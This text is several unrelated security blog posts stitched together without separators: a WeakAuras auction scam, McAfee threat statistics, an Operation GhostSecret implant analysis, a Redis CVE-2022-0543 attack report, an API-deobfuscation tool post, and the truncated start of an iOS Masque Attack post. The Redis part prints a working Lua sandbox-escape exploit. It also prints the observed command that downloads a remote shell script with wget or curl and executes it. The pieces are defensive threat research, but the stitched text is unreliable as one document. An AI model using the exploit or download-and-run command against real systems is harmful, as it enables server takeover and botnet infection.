WeakAuras is essentially a framework: all timers and indicators are added to the base add-Аon using scripts written in Lua programming language, commonly called “auras”.
Many sites offer ready-made assemblies of auras for specific classes, specializations, and even professions.
Sometimes, though, players are looking for something specific, such as an aura for a single quest or an experimental tactic.
Some players versed in programming customize existing scripts or create auras themselves.
And sometimes, in a raid with random partners, an unfamiliar raid leader may demand, “we are using a new tactic to fight this boss — everyone needs to install this aura right now”, and send a link.
Of course, the decision is yours, but anyone who doesn’t install the aura can expect to be kicked out of the raid.
Worse, leaders usually drop those links into raid chats, and most players simply click on the name and install scripts without a second thought.
It is important to remember that using these scripts, which are also linked on message boards or in in-game chats, can be risky.
With no centralized validation mechanism, stuffing auras with malicious surprises is easy, and unless you know Lua, you cannot check the code.
In addition, a deceptive aura may behave like a bona fide script until it is triggered by certain conditions.
Scammers take advantage of that in Azeroth.
A cunning auction The malicious script lies in wait, behaving normally until a player who has installed it stocks up on certain consumables (say, elixirs, ore, or herbs) at the Auction House.
As soon as the player selected the desired item, the script redirects the query to an identical product that the scammer is selling for 10,000 coins.
At the same time, the script replaces the system message confirming the purchase with a fake one, showing the original price, say 5 coins.
That way, despite making and confirming a small purchase, the player finds their account has been charged 10,000 instead.
The scammer can spend the gold in the game, although exchanging it for real money is more typical.
It is with good reason that Blizzard support strongly recommends players refrain from buying gold at reduced rates on third-party websites.
Why the WoW Auction House scam works World of Warcraft is known for showing zero tolerance to cheaters.
Blizzard’s licensing agreement prohibits changes to the game’s source code and the use of tools that give some players advantages over others, as well as any interference with game-play.
So, how did the auction fraud go unnoticed?
It was because the scripts affect the interface only through WeakAuras tools, which are allowed.
As far as the system is concerned, if players want to pay thousands of gold pieces for items worth pennies, that’s their choice.
On top of that, most players need some help to figure out which of their many add-ons caused them to lose money.
That gives cybercriminals the time they need to trick lots of users before their scheme is exposed.
How to avoid becoming a victim, and what to do if you have been robbed Scammers rightly believe players will need some time to realize they are being cheated at the Auction House (controlled by Blizzard), or that the source of the problem is a script that never caused them any trouble before.
Instead of relying on the game, be proactive and keep yourself safe.
Update the WeakAuras add-on During the discussion on Reddit, an expert analyzed the victim’s installed add-ons and scripts, found the malicious one, and reported the finding to WeakAuras’ developers.
The developers fixed the problem, so even if you have the malicious script installed, updating WeakAuras to the latest version should remove it automatically.
That measure is unlikely to be effective against yet-unknown malicious auras.
To protect WeakAuras from dangerous scripts reliably, its developers would need to implement a basic antivirus engine, regularly check existing auras, and add any malicious ones to a database.
That’s a lot of work, though.
In any case, if you have it, update WeakAuras right away.
Double-check transactions and trade offers This particular tip wouldn’t have helped with the scheme we describe above, but it may prove generally useful.
Scammers can try to deceive you without using any tricky add-ons, for example, by replacing an item with something much cheaper immediately after you enter the amount in the window, or by quickly removing a couple of zeros from their payment amount when buying.
Therefore, before confirming any transaction, we recommend waiting an extra few seconds and carefully checking the item and purchase amount.
Consult our online game safe trading guide as well.
Ask for help if you have been harmed If you find yourself in a similar situation, share the news.
Contact support and start a message board thread, and attach screenshots and a list of your add-ons in each case.
You can expect moderators and experienced players to offer advice, help with next steps, and perhaps even find a way to punish the scammers.
In asking for help, you will also help by alerting other players, and you might get your gold back as well, as Legitamasterr did.
Protect yourself It’s critical to install a reliable security solution as well.
Even though it probably won’t detect a cheat script for a WoW add-on, it will keep you safe from most malicious and dangerous sites and programs.
By Raj Samani on Mar 11, 2018 Today McAfee published the McAfee Labs Threats Report: March 2018.
The report looks into the growth and trends of new malware, ransomware, and other threats in Q4 2017.
McAfee Labs saw on average eight new threat samples per second, and the increasing use of fileless malware attacks leveraging Microsoft PowerShell.
The Q4 spike in Bitcoin value prompted cybercriminals to focus on cryptocurrency hijacking through a variety of methods, including malicious Android apps.
Each quarter, McAfee Labs, led by the Advanced Threat Research team, assesses the state of the cyber threat landscape based on threat data gathered by the McAfee Global Threat Intelligence cloud from hundreds of millions of sensors across multiple threat vectors around the world.
McAfee Advanced Threat Research complements McAfee Labs by providing in-depth investigative analysis of cyberattacks from around the globe.
Cybercriminals Take on New Strategies, Tactics
The fourth quarter of 2017 saw the rise of newly diversified cybercriminals, as a significant number of actors embraced novel criminal activities to capture new revenue streams.
For instance, the spike in the value of Bitcoin prompted actors to branch out from moneymakers such as ransomware, to the practice of hijacking Bitcoin and Monero wallets.
McAfee researchers discovered Android apps developed exclusively for the purpose of cryptocurrency mining and observed discussions in underground forums suggesting Litecoin as a safer model than Bitcoin, with less chance of exposure.
Cybercriminals also continued to adopt fileless malware leveraging Microsoft PowerShell, which surged 432% over the course of 2017, as the threat category became a go-to toolbox.
The scripting language was used within Microsoft Office files to execute the first stage of attacks.
Health Care Targeted Although publicly disclosed security incidents targeting health care decreased by 78% in the fourth quarter of 2017, the sector experienced a dramatic 210% overall increase in incidents in 2017.
Through their investigations, McAfee Advanced Threat Research analysts conclude many incidents were caused by organizational failure to comply with security best practices or address known vulnerabilities in medical software.
McAfee Advanced Threat Research analysts looked into possible attack vectors related to health care data, finding exposed sensitive images and vulnerable software.
Combining these attack vectors, analysts were able to reconstruct patient body parts, and create three-dimensional models.
Q4 2017 Threats Activity Fileless malware.
In Q4 JavaScript malware growth continued to slow with new samples decreasing by 9%, while new PowerShell malware more than tripled, growing 267%.
Security incidents.
McAfee Labs counted 222 publicly disclosed security incidents in Q4, a decrease of 15% from Q3.
30% of all publicly disclosed security incidents in Q4 took place in the Americas, followed by 14% in Europe and 11% in Asia.
Vertical industry targets .
Public, health care, education, and finance, respectively, led vertical sector security incidents for 2017.
Health Care.
Disclosed incidents experienced a surge in 2017, rising 210%, while falling 78% in Q4.
Public sector.
Disclosed incidents decreased 15% in 2017, down 37% in Q4.
Disclosed incidents rose 125% in 2017, remaining stagnant in Q4.
Disclosed incidents rose 16% in 2017, falling 29% in Q4.
Regional targets Disclosed incidents rose 46% in 2017, falling 46% in Q4.
Disclosed incidents fell 58% in 2017, rising 28% in Q4.
Disclosed incidents fell 20% in 2017, rising 18% in Q4.
Disclosed incidents rose 42% in 2017, falling 33% in Q4.
Attack vectors.
In Q4 and 2017 overall, malware led disclosed attack vectors, followed by account hijacking, leaks, distributed denial of service, and code injection.
Ransomware.
The fourth quarter saw notable industry and law enforcement successes against criminals responsible for ransomware campaigns.
New ransomware samples grew 59% over the last four quarters, while new ransomware samples growth rose 35% in Q4.
The total number of ransomware samples increased 16% in the last quarter to 14.8 million samples.
Mobile malware.
New mobile malware decreased by 35% from Q3.
In 2017 total mobile malware experienced a 55% increase, while new samples declined by 3%.
Malware overall.
New malware samples increased in Q4 by 32%.
The total number of malware samples grew 10% in the past four quarters.
Mac malware.
New Mac OS malware samples increased by 24% in Q4.
Total Mac OS malware grew 58% in 2017.
* Macro malware.
New macro malware increased by 53% in Q4, declined by 35% in 2017.
Spam campaigns.
97% of spam botnet traffic in Q4 was driven by Necurs —recent purveyor of “lonely girl” spam, pump-and-dump stock spam, and Locky ransomware downloaders—and by Gamut—sender of job offer–themed phishing and money mule recruitment emails.
*This blog post has been edited to correct the percentage increase of Mac OS malware in 2017.
For more information on these threat trends and statistics, please visit: McAfee Labs Threats Report: March 2018
McAfee Researchers Find Poor Security Exposes Medical Data to Cybercriminals Necurs Botnet Leads the World in Sending Spam Traffic McAfee Researchers Analyze Dark Side of Cryptocurrency Craze: Its Effect on Cybercrime Understanding How Bitcoin Mining Poses Security Risks Twitter @Raj_Samani & @McAfee_Labs .
By Ryan Sherstobitoff and Asheer Malhotra on Apr 24, 2018 McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure, entertainment, finance, health care, and telecommunications.
This campaign, dubbed Operation GhostSecret, leverages multiple implants, tools, and malware variants associated with the state-sponsored cyber group Hidden Cobra.
The infrastructure currently remains active.
In this post, we dive deeply into this campaign.
For a brief overview of this threat, see “Global Malware Campaign Pilfers Data from Critical Infrastructure, Entertainment, Finance, Health Care, and Other Industries.”
Our investigation into this campaign reveals that the actor used multiple malware implants, including an unknown implant with capabilities similar to Bankshot.
From March 18 to 26 we observed the malware operating in multiple areas of the world.
This new variant resembles parts of the Destover malware, which was used in the 2014 Sony Pictures attack.
Furthermore, the Advanced Threat Research team has discovered Proxysvc, which appears to be an undocumented implant.
We have also uncovered additional control servers that are still active and associated with these new implants.
Based on our analysis of public and private information from submissions, along with product telemetry, it appears Proxysvc was used alongside the 2017 Destover variant and has operated undetected since mid-2017.
The attackers behind Operation GhostSecret used a similar infrastructure to earlier threats, including SSL certificates used by FakeTLS in implants found in the Destover backdoor variant known as Escad, which was used in the Sony Pictures attack.
Based on our technical analysis, telemetry, and data from submissions, we can assert with high confidence that this is the work of the Hidden Cobra group.
The Advanced Threat Research team uncovered activity related to this campaign in March 2018, when the actors targeted Turkish banks.
These initial findings appear to be the first stage of Operation GhostSecret.
For more on the global aspect of this threat, see “Global Malware Campaign Pilfers Data from Critical Infrastructure of Entertainment, Finance, Health Care, and Other Industries.”
Analysis The McAfee Advanced Threat Research team discovered a previously unknown data-gathering implant that surfaced in mid-February 2018.
This implant appears to be a derivative of implants authored before by Hidden Cobra and contains functionality similar to that of Bankshot, with code overlaps from other Hidden Cobra implants.
However, the variant is not based on Bankshot.
Our analysis of the portable executable’s rich-header data reveals that the two implants were compiled in different development environments.
(The PE rich header is an undocumented part of a Windows executable that reveals unique information to identify the Microsoft compiler and linker used to create the program.
It is helpful for identifying similarities between malware variants to establish common development environments.)
Our analysis of the code and PE rich header indicates that Bankshot, Proxysvc, and the Destover-like implant are distinct families, but also contain overlapping code and functionality with current tools of Hidden Cobra.
PE rich header data from the 2018 Bankshot implant.
PE rich header data from the new February 2018 implant.
PE rich header data from Proxysvc.dll.
When we compared the PE rich header data of the new February 2018 implant with a variant of Backdoor.
Escad (Destover) from 2014 shortly before the Sony Pictures attack, we found the signatures to be identical.
The Destover-like variant is 83% similar in code to a 2015 variant and contains the same rich PE header signature as the Backdoor.
Escad variant we analyzed.
Thus the new implant is likely a derivative of components of Destover.
We determined that the implant is not a direct copy of well-known previous samples of Destover; rather, Hidden Cobra created a new hybrid variant using functionality present in earlier versions.
2014 Backdoor.
Escad (hash: 8a7621dba2e88e32c02fe0889d2796a0c7cb5144).
2015
Destover variant (7fe373376e0357624a1d21cd803ce62aa86738b6).
The February implant fe887fcab66d7d7f79f05e0266c0649f0114ba7c was obtained from an unknown submitter in the United States on February 14, two days after it was compiled.
This Korean-language file used the control server IP address 203.131.222.83.
The implant is nearly identical to an unknown 2017 sample (8f2918c721511536d8c72144eabaf685ddc21a35) except that the control server addresses are different.
The 2017 sample used address 14.140.116.172.
Both implants specifically use FakeTLS with PolarSSL, which we saw in previous Hidden Cobra implants.
PolarSSL libraries have appeared in implants since the Sony Pictures incident and were used exclusively in the implant Backdoor.
Destover.
This implant incorporated a custom control server protocol that sends traffic over port 443.
The implementation does not format the packets in standard SSL, but rather in a custom format and transmitted over SSL—hence, FakeTLS.
The control server traffic when compared to Backdoor.
Escad is nearly identical.
TLS traffic in Backdoor.
Destover, the 2018 Destover-like variant.
TLS traffic in Backdoor.
Escad.
Further research into IP address 14.140.116.172 leads us to additional hidden components involved in the overall infrastructure.
Proxysvc.dll contains a list of hardcoded IP addresses, including the preceding address, all located in India.
Despite the name, this component is not an SSL proxy, but rather a unique data-gathering and implant-installation component that listens on port 443 for inbound control server connections.
Proxysvc was first collected by public and private sources on March 22 from an unknown entity in the United States.
The executable dropper for the component was submitted from South Korea on March 19.
McAfee telemetry analysis from March 16 to 21 reveals that Proxysvc components were active in the wild.
Our research shows this listener component appeared mostly in higher education organizations.
We suspect this component is involved in core control server infrastructure.
These targets were chosen intentionally to run Proxysvc because the attacker would have needed to know which systems were infected to connect to them.
This data also indicates this infrastructure had been operating for more than a year before its discovery.
The Advanced Threat Research team found this component running on systems in 11 countries.
Given the limited capabilities of Proxysvc, it appears to be part of a covert network of SSL listeners that allow the attackers to gather data and install more complex implants or additional infrastructure.
The SSL listener supports multiple control server connections, rather than a list of hardcoded addresses.
By removing the dependency on hardcoded IP addresses and accepting only inbound connections, the control service can remain unknown.
The number of infected systems by country in which Proxysvc.dll was operating in March.
Source: McAfee Advanced Threat Research.
The 2018 Destover-like implant appeared in organizations in 17 countries between March 14 and March 18.
The impacted organizations are in industries such as telecommunications, health, finance, critical infrastructure, and entertainment.
The number of infected systems by country in which the Destover variant was operating in March.
Source: McAfee Advanced Threat Research.
Control Servers
Further investigation into the control server infrastructure reveals the SSL certificate d0cb9b2d4809575e1bc1f4657e0eb56f307c7a76, which is tied to the control server 203.131.222.83, used by the February 2018 implant.
This server resides at Thammasat University in Bangkok, Thailand.
The same entity hosted the control server for the Sony Pictures implants.
This SSL certificate has been used in Hidden Cobra operations since the Sony Pictures attack.
Analyzing this certificate reveals additional control servers using the same PolarSSL certificate.
Further analysis of McAfee telemetry data reveals several IP addresses that are active, two within the same network block as the 2018 Destover-like implant.
Number of infections by Thammasat University – hosted control servers from March 15 – 19, 2018.
Source: McAfee Advanced Threat Research.
Implant Origins McAfee Advanced Threat Research determined that the Destover-like variant originated from code developed in 2015.
The code reappeared in variants surfacing in 2017 and 2018 using nearly the same functionality and with some modifications to commands, along with an identical development environment based on the rich PE header information.
Both implants (fe887fcab66d7d7f79f05e0266c0649f0114ba7c and 8f2918c721511536d8c72144eabaf685ddc21a35) are based on the 2015 code.
When comparing the implant 7fe373376e0357624a1d21cd803ce62aa86738b6, compiled on August 8, 2015, we found it 83% similar to the implant from 2018.
The key similarities and differences follow.
Similarities Both variants build their API imports dynamically using GetProcAddress, including wtsapi32.dll for gathering user and domain names for any active remote sessions Both variants contain a variety of functionalities based on command IDs issued by the control servers Common capabilities of both malware:
Listing files in directory Creating arbitrary processes Writing data received from control servers to files on disk Gathering information for all drives Gathering process times for all processes Sending the contents of a specific file to the control server Wiping and deleting files on disk Setting the current working directory for the implant Sending disk space information to the control server Both variants use a batch file mechanism to delete their binaries from the system Both variants run commands on the system, log output to a temporary file, and send the contents of the file to their control servers Differences The following capabilities in the 2015 implant are missing from the 2018 variant: Creating a process as a specific user Terminating a specific process Deleting a specific file Setting file times for a specific file Getting current system time and sending it to the control server Reading the contents of a file on disk.
If the filepath specified is a directory, then listing the directory’s contents.
Setting attributes on files The 2015 implant does not contain a hardcoded value of the IP address it must connect to.
Instead it contains a hardcoded sockaddr_in data structure (positioned at 0x270 bytes before the end of the binary) used by the connect() API to specify port 443 and control server IP addresses: 193.248.247.59 196.4.67.45 Both of these control servers used the PolarSSL certificate d0cb9b2d4809575e1bc1f4657e0eb56f307c7a76.
Proxysvc At first glance Proxysvc, the SSL listener, looks like a proxy setup tool (to carry out man-in-the-middle traffic interception).
However, a closer analysis of the sample reveals it is yet another implant using HTTP over SSL to receive commands from the control server.
Proxysvc appears to be a downloader whose primary capability is to deliver additional payloads to the endpoint without divulging the control address of the attackers.
This implant contains a limited set of capabilities for reconnaissance and subsequent payload installations.
This implant is a service DLL that can also run as a standalone process.
The ServiceMain() sub function of Proxysvc.
The implant cannot connect to a control server IP address or URL.
Instead it accepts commands from the control server.
The implant binds and listens to port 443 for any incoming connections.
Proxysvc binding itself to the specified port.
Proxysvc begins accepting incoming requests to process.
Proxysvc makes an interesting check while accepting connections from a potential control server.
It checks against a list of IP addresses to make sure the incoming connection is not from any of the following addresses.
If the incoming request does come from one of these, the implant offers a zero response (ASCII “0”) and shuts down the connection.
121.240.155.74 121.240.155.76 121.240.155.77 121.240.155.78 223.30.98.169 223.30.98.170 14.140.116.172 SSL Listener Capabilities
The implant receives HTTP-based commands from a control server and parses the HTTP Content-Type and Content-Length from the HTTP header.
If the HTTP Content-Type matches the following value, then the implant executes the command specified by the control server: Content-Type: 8U7y3Ju387mVp49A HTTP Content-Type comparison with a custom implant value.
The implant has the following capabilities: Writing an executable received from the control server into a temp file and executing it
Proxysvc writing a binary to a temp directory and executing it.
Gathering system information and sending it to the control server.
The system information gathered from the endpoint includes: MAC address of the endpoint Computer Name Product name from HKLM\\Software\\Microsoft\\Windows
NT\\CurrentVersion ProductName
This information is concatenated into a single string in the format: “MAC_Address|ComputerName|ProductName” and is sent to the control server Recording HTTP requests from the control server to the temporary file prx in the implant’s install directory with the current system timestamp Analyzing the Main Implant The February 2018 implant contains a wide variety of capabilities including data exfiltration and arbitrary command execution on the victim’s system.
Given the extensive command structure that the implant can receive from the control server, this is an extensive framework for data reconnaissance and exfiltration, and indicates advanced use.
For example, the implant can wipe and delete files, execute additional implants, read data out of files, etc.
The implant begins execution by dynamically loading APIs to perform malicious activities.
Libraries used to load the APIs include: Kernel32.dll Apvapi32.dll Oleaut32.dll Iphlpapi.dll Ws2_32.dll Wtsapi32.dll Userenv.dll Ntdll.dll The main implant dynamically loading APIs.
As part of its initialization, the implant gathers basic system information and sends it to its hardcoded control server 203.131.222.83 using SSL over port 443: Country name from system’s locale Operating system version Processor description from HKLM\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0 ProcessorNameString Computer name and network adapters information Disk space information for disks C: through Z: including total memory in bytes, total available memory in bytes, etc.
Current memory status including total physical memory in bytes, total available memory, etc.
Domain name and usernames based on current remote sessions Domain name and username extraction using Win32 WTS APIs.
Data Reconnaissance The implant receives commands over SSL as encoded data.
This data is decoded, and the correct command ID is derived.
Valid command IDs reside between 0 and 0x1D.
Switch case handling command execution based on command IDs.
Based on the command ID, the implant can perform the following functions: Gather system information and exfiltrate to the control server (same as the basic data-gathering functionality previously described)
Get volume information for all drives on the system (A: through Z:) and exfiltrate to the control server Gathering volume information.
List files in a directory.
The directory path is specified by the control server.
Read the contents of a file and send it to the control server Reading file contents and sending it the control server.
Write data sent by the control server to a specified file path Open handle to a file for writing with no shared permissions.
Writing data received from control server to file.
Create new processes based on the file path specified by the control server.
Creating a new process for a binary specified by the control server.
Wipe and delete files specified by the control server Wiping and deleting files.
Execute a binary on the system using cmd.exe and log the results into a temp file, which is then read and the logged results are sent to the control server.
The command line: cmd.exe /c “<file_path>
> %temp%\\PM*.tmp 2>&1”
Executing a command and logging results to a temp file.
Get information for all currently running processes Getting process times for all processes on the system.
Getting username and domain from accounts associated with a running process.
Delete itself from disk using a batch file.
Creating a batch file for self-deletion.
Store encoded data received from the control server as a registry value at: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\TowConfigs Description Set and get the current working directory for the implant Setting and getting the current working directory for the implant’s process.
The command handler index table is organized in the implant as follows:
The command handler index table.
Conclusion This analysis by the McAfee Advanced Threat Research team has found previously undiscovered components that we attribute to Hidden Cobra, which continues to target organizations around the world.
The evolution in complexity of these data-gathering implants reveals an advanced capability by an attacker that continues its development of tools.
Our investigation uncovered an unknown infrastructure connected to recent operations with servers in India using an advanced implant to establish a covert network to gather data and launch further attacks.
The McAfee Advanced Threat Research team will provide further updates as our investigation develops.
Fighting cybercrime is a global effort best undertaken through effective partnerships between the public and private sectors.
McAfee is working with Thai government authorities to take down the control server infrastructure of Operation GhostSecret, while preserving the systems involved for further analysis by law enforcement authorities.
By creating and maintaining partnerships with worldwide law enforcement, McAfee demonstrates that we are stronger together.
Indicators of Compromise McAfee detection Trojan-Bankshot2 MITRE ATT&CK techniques Exfiltration over control server channel: data is exfiltrated over the control server channel using a custom protocol Commonly used port: the attackers used common ports such as port 443 for control server communications Service execution: registers the implant as a service on the victim’s machine Automated collection: the implant automatically collects data about the victim and sends it to the control server Data from local system: local system is discovered and data is gathered Process discovery: implants can list processes running on the system System time discovery: part of the data reconnaissance method, the system time is also sent to the control server File deletion:: malware can wipe files indicated by the attacker IP addresses 203.131.222.83 14.140.116.172 203.131.222.109 Hashes fe887fcab66d7d7f79f05e0266c0649f0114ba7c 8f2918c721511536d8c72144eabaf685ddc21a35 33ffbc8d6850794fa3b7bccb7b1aa1289e6eaa45
Juniper Threat Labs has uncovered an attack that targets Redis Servers using a recently disclosed vulnerability, namely CVE-2022-0543.
This vulnerability exists in some Redis Debian packages.
The attack started on March 11, 2022 from the same threat actor we’ve seen targeting confluence servers back in September 2021 and the same group targeting Log4j back in December.
The payload used is a variant of Muhstik bot that can be used to launch DDOS attacks CVE-2022-0543:
Redis Lua Sandbox Escape and Remote Code Execution “ Redis is a very widely used service for caching, but it’s also used as a message broker.
Clients talk to a Redis server over a socket, send commands, and the server changes its state (i.e.
its in-memory structures), in response to such commands.
Redis embeds the Lua programming language as its scripting engine, which is made available through the eval command.
The Lua engine is expected to be sandboxed , i.e., clients can interact with the Redis APIs from Lua, but should not be able to execute arbitrary code on the machine where Redis is running.
“ – Reginaldo Silva In January 2022, Reginaldo Silva discovered a vulnerability in Redis (Debian-specific) that allows Lua sandbox escape.
A remote attacker with the ability to execute arbitrary Lua scripts could escape the Lua sandbox and execute arbitrary code on the host.
This vulnerability existed because the Lua library in some Debian/Ubuntu packages is provided as a dynamic library (Ubuntu Bionic and Trusty are not affected).
When the Lua interpreter initializes, the “ package ” variable is automatically populated, and that in turn permitted access to arbitrary Lua functionality.
For instance, we can use “ package.loadlib” to load the modules from “ liblua ” library, then use this module to execute commands.
The following is a proof of concept on how to exploit this vulnerability.
local io_l = package.loadlib (\"/ usr /lib/
x86_64-linux-gnu/liblua5.1.so.0\", \" luaopen_io \" ); local io = io_l ();
local f = io.popen
(\" cat / etc /passwd \", \"r\"); local res = f:read(\"*a\"); f:close(); return res To demonstrate this attack, we instantiated a vulnerable Redis server and launched the above Lua scripts using the “ eval ” command.
As you can observe from the screenshot below, we are able to achieve code execution by dumping the contents of / etc /passwd .
Proof of concept of executing system commands inside the Redis session Payload: Muhstik bot timeline of attacks on CVE-2022-0543
On March 11, Juniper Threat Labs observed attacks launching this exploit from our telemetry.
The attack attempts to download “ russia.
sh ” using wget or curl from “ 106[.
]246.224.219 ”.
It saves it as “ / tmp / russ ” and executes it.
eval 'local io_l = package.loadlib (\"/ usr /lib/
x86_64-linux-gnu/liblua5.1.so.0\", \" luaopen_io \"); \r\nlocal io = io_l (); \r\nlocal
f = io.popen
(\"( wget -O / tmp / russ http://106[.
]246.224.219/russia.sh || curl -o / tmp / russ http://106[.
].246.224.219/russia.sh ); chmod 700 / tmp / russ ; / tmp / russ \" , \"r\"); \r\nlocal res = f:read (\"*a\"); f:close (); return res' 0 contents of russia.sh This script (russia.sh) will further download and execute linux binaries from 160[.
]16.58.163.
These binaries are identified to be variants of Muhstik bot.
This bot connects to an IRC server to receive commands which include the following: Download files Shell commands Flood attacks SSH brute force Strings inside Muhstik bot indicating its capabilities Threat Actor We mapped the originating IP of these attacks to figure out if these are related to some groups we are tracking.
We found that the following IPs was used in the past to launch attacks: 170[.
]210.45.163 191[.
]232.38.25 79[.
]172.212.132
For instance, the IP 191.232.38.25 was used in September 2021 to launch attacks on Confluence Servers exploiting CVE-2021-26084.
We have documented that attack here .
It’s worth noting that the group is still using the same Muhstik bot.
The same IP was again used in December to launch attacks on Apache Log4j.
Timeline of observed attacks launched from 191[.
]232.38.25 Conclusion We advise those who may be vulnerable to patch their Redis service.
Debian and Ubuntu have also released security advisories regarding this matter.
Links are below: Debian Advisory Ubuntu Advisory Indicators of Compromise 4817893f8e724cbc5186e17f46d316223b7683dcbc9643e364b5913f8d2a9197  pty1 46389c117c5f41b60e10f965b3674b3b77189b504b0aeb5c2da67adf55a7129f  pty10 95d1fca8bea30d9629fdf05e6ba0fc6195eb0a86f99ea021b17cb8823db9d78b
pty2 7d3855bb09f2f6111d6c71e06e1e6b06dd47b1dade49af0235b220966c2f5be3  pty3
16b4093813e2923e9ee70b888f0d50f972ac607253b00f25e4be44993d263bd2  pty4 28443c0a9bfd8a12c12a2aad3cc97d2e8998a9d8825fcf3643d46012f18713f0  pty5
36a2ac597030f3f3425153f5933adc3ca62259c35f687fde5587b8f5466d7d54  russia.sh
Download IP 106[.
]246.224.219 160[.
]16.58.163 Attacker IP 104[.
]236.150.159 170[.
]210.45.163 146[.
]185.136.187 178[.
]62.69.4 191[.
]232.38.25 79[.
]172.212.132 221[.
]120.103.253 Reference: https://github.com/vulhub/vulhub/tree/master/redis/CVE-2022-0543 https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce https://github.com/vulhub/vulhub/tree/master/redis/CVE-2022-0543
Introduction The following blog discusses a couple of common techniques that malware uses to obscure its access to the Windows API.
In both forms examined, analysts must calculate the API start address and resolve the symbol from the runtime process in order to determine functionality.
After introducing the techniques, we present an open source tool we developed that can be used to resolve addresses from a process running in a virtual machine by an IDA script.
This gives us an efficient way to quickly add readability back into the disassembly.
Techniques When performing an analysis, it is very common to see malware try to obscure the API it uses.
As a malware analyst, determining which API is used is one of the first things we must resolve in order to determine the capabilities of the code.
Two common obfuscations we are going to look at in this blog are encoded function pointer tables and detours style hook stubs.
In both of these scenarios the entry point to the API is not directly visible in the binary.
For an example of what we are talking about, consider the code in Figure 1, which was taken from a memory dump of xdata crypto ransomware sample C6A2FB56239614924E2AB3341B1FBBA5.
Figure 1: API obfuscation code from a crypto ransomware sample
In Figure 1, we see one numeric value being loaded into eax, XORed against another, and then being called as a function pointer.
These numbers only make sense in the context of a running process.
We can calculate the final number from the values contained in the memory dump, but we also need a way to know which API address it resolved to in this particular running process.
We also have to take into account that DLLs can be rebased due to conflicts in preferred base address, and systems with ASLR enabled.
Figure 2 shows one other place we can look to see where the values were initially set.
Figure 2:
Crypto malware setting obfuscated function pointer from API hash
In this case, the initial value is loaded from an API hash lookup – again not of immediate value.
Here we have hit a crossroad, with multiple paths we can take to resolve the problem.
We can search for a published hash list, extract the hasher and build our own database, or figure out a way to dynamically resolve the decoded API address.
Before we choose which path to take, let us consider another sample.
Figure 3 shows code from Andromeda sample, 3C8B018C238AF045F70B38FC27D0D640.
Figure 3: API redirection code from an Andromeda sample
This code was found in a memory injection.
Here we can see what looks to be a detours style trampoline, where the first instruction was stolen from the actual Windows API and placed in a small stub with an immediate jump taken back to the original API + x bytes.
In this situation, the malware accesses all of the API through these stubs and we have no clear resolution as to which stub points where.
From the disassembly we can also see that the stolen instructions are of variable length.
In order to resolve where these functions go, we would have to: enumerate all of the stubs calculate how many bytes are in the first instruction extract the jmp address subtract the stolen byte count to find the API entrypoint resolve the calculated address for this specific process instance rename the stub to a meaningful value
In this sample, looking for cross references on where the value is set does not yield any results.
Here we have two manifestations of essentially the same problem.
How do we best resolve calculated API addresses and add this information back into our IDA database?
One of the first techniques used was to calculate all of the final addresses, write them to a binary file, inject the data into the process, and examine the table in the debugger (Figure 4).
Since the debugger already has a API address look up table, this gives a crude yet quick method to get the information we need.
Figure 4: ApiLogger from iDefense MAP injecting a data file into a process and examining results in debugger
From here we can extract the resolved symbols and write a script to integrate them into our IDB.
This works, but it is bulky and involves several steps.
Our Tool
What we really want is to build our own symbol lookup table for a process and create a streamlined way to access it from our scripts.
The first question is: How can we build our own lookup table of API addresses to API names?
To resolve this information, we need to follow some steps: enumerate all of the DLLs loaded into a process for each DLL, walk the export table and extract function name and RVA calculate API entrypoint based on DLL base address and export RVA build a lookup table based on all of this information While this sounds like a lot of work, libraries are already available that handle all of the heavy lifting.
Figure 5 shows a screenshot of a remote lookup tool we developed for such occasions.
Figure 5: Open source remote lookup application In order to maximize the benefits of this type of tool, the tool must be efficient.
What is the best way to interface with this data?
There are several factors to consider here, including how the data is submitted, what input formats are accepted, and how well the tool can be integrated with the flow of the analysis process.
The first consideration is how we interface with it.
For maximum flexibility, three methods were chosen.
Lookups can be submitted: individually via textbox in bulk by file or over the network by a remote client In terms of input formats, it accepts the following: hex memory address case insensitive API name
dll_name@ordinal dll_name.export_name
The tool output is in the form of a CSV list that includes address, name, ordinal, and DLL.
With the base tool capabilities in place, we still need an efficient streamlined way to use it during our analysis.
The individual lookups are nice for offhand queries and testing, but not in bulk.
The bulk file lookup is nice on occasion, but it still requires data export/import to integrate results with your IDA database.
What is really needed is a way to run a script in IDA, calculate the API address, and then resolve that address inline while running an IDA script.
This allows us to rename functions and pointers on the fly as the script runs all in one shot.
This is where the network client capability comes in.
Again, there are many approaches to this.
Here we chose to integrate a network client into a beta of IDA Jscript (Figure 6).
IDA Jscript is an open source IDA scripting tool with IDE that includes syntax highlighting, IntelliSense, function prototype tooltips, and debugger.
Figure 6: Open source IDA Jscript decoding and resolving API addresses
In this example we see a script that decodes the xdata pointer table, resolves the API address over the network, and then generates an IDC script to rename the pointers in IDA.
After running this script and applying the results, the decompiler output becomes plainly readable (Figure 7).
Figure 7: Decompiler output from the xdata sample after symbol resolution Going back to the Andromeda sample, the API information can be restored with the brief idajs script shown in Figure 8.
Figure 8: small idajs script to remotely resolve and rename Andromeda API hook stubs For IDAPython users, a python remote lookup client is also available.
Conclusion It is common for malware to use techniques that mask the Windows API being used.
These techniques force malware analysts to have to extract data from runtime data, calculate entry point addresses, and then resolve their meaning within the context of a particular running process.
In previous techniques, several manual stages were involved that were bulky and time intensive.
This blog introduces a small simple open source tool that can integrate well into multiple IDA scripting languages.
This combination allows analysts streamlined access to the data required to quickly bypass these types of obfuscations and continue on with their analysis.
We are happy to be able to open source the remote lookup application so that others may benefit and adapt it to their own needs.
Sample network clients have been provided for Python, C#, D, and VB6.
Download a copy of the tool today.
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In the recent release of iOS 8.4, Apple fixed several vulnerabilities including vulnerabilities that allow attackers to deploy two new kinds of Masque Attack (CVE-2015-3722/3725, and CVE-2015-3725).
We call these exploits Manifest Masque and Extension Masque, which can be used to demolish apps, including system apps (e.g., Apple Watch, Health, Pay and so on), and to break the app data container.
In this blog, we also disclose the details of a previously fixed, but undisclosed, masque vulnerability: Plugin Masque, which bypasses iOS entitlement enforcement and hijacks VPN traffic.
Our investigation also shows that around one third of iOS devices still have not updated to versions 8.1.3 or above, even 5 months after the release of 8.1.3, and these devices are still vulnerable to all the Masque Attacks.
We have disclosed five kinds of Masque Attacks, as shown in the following table.
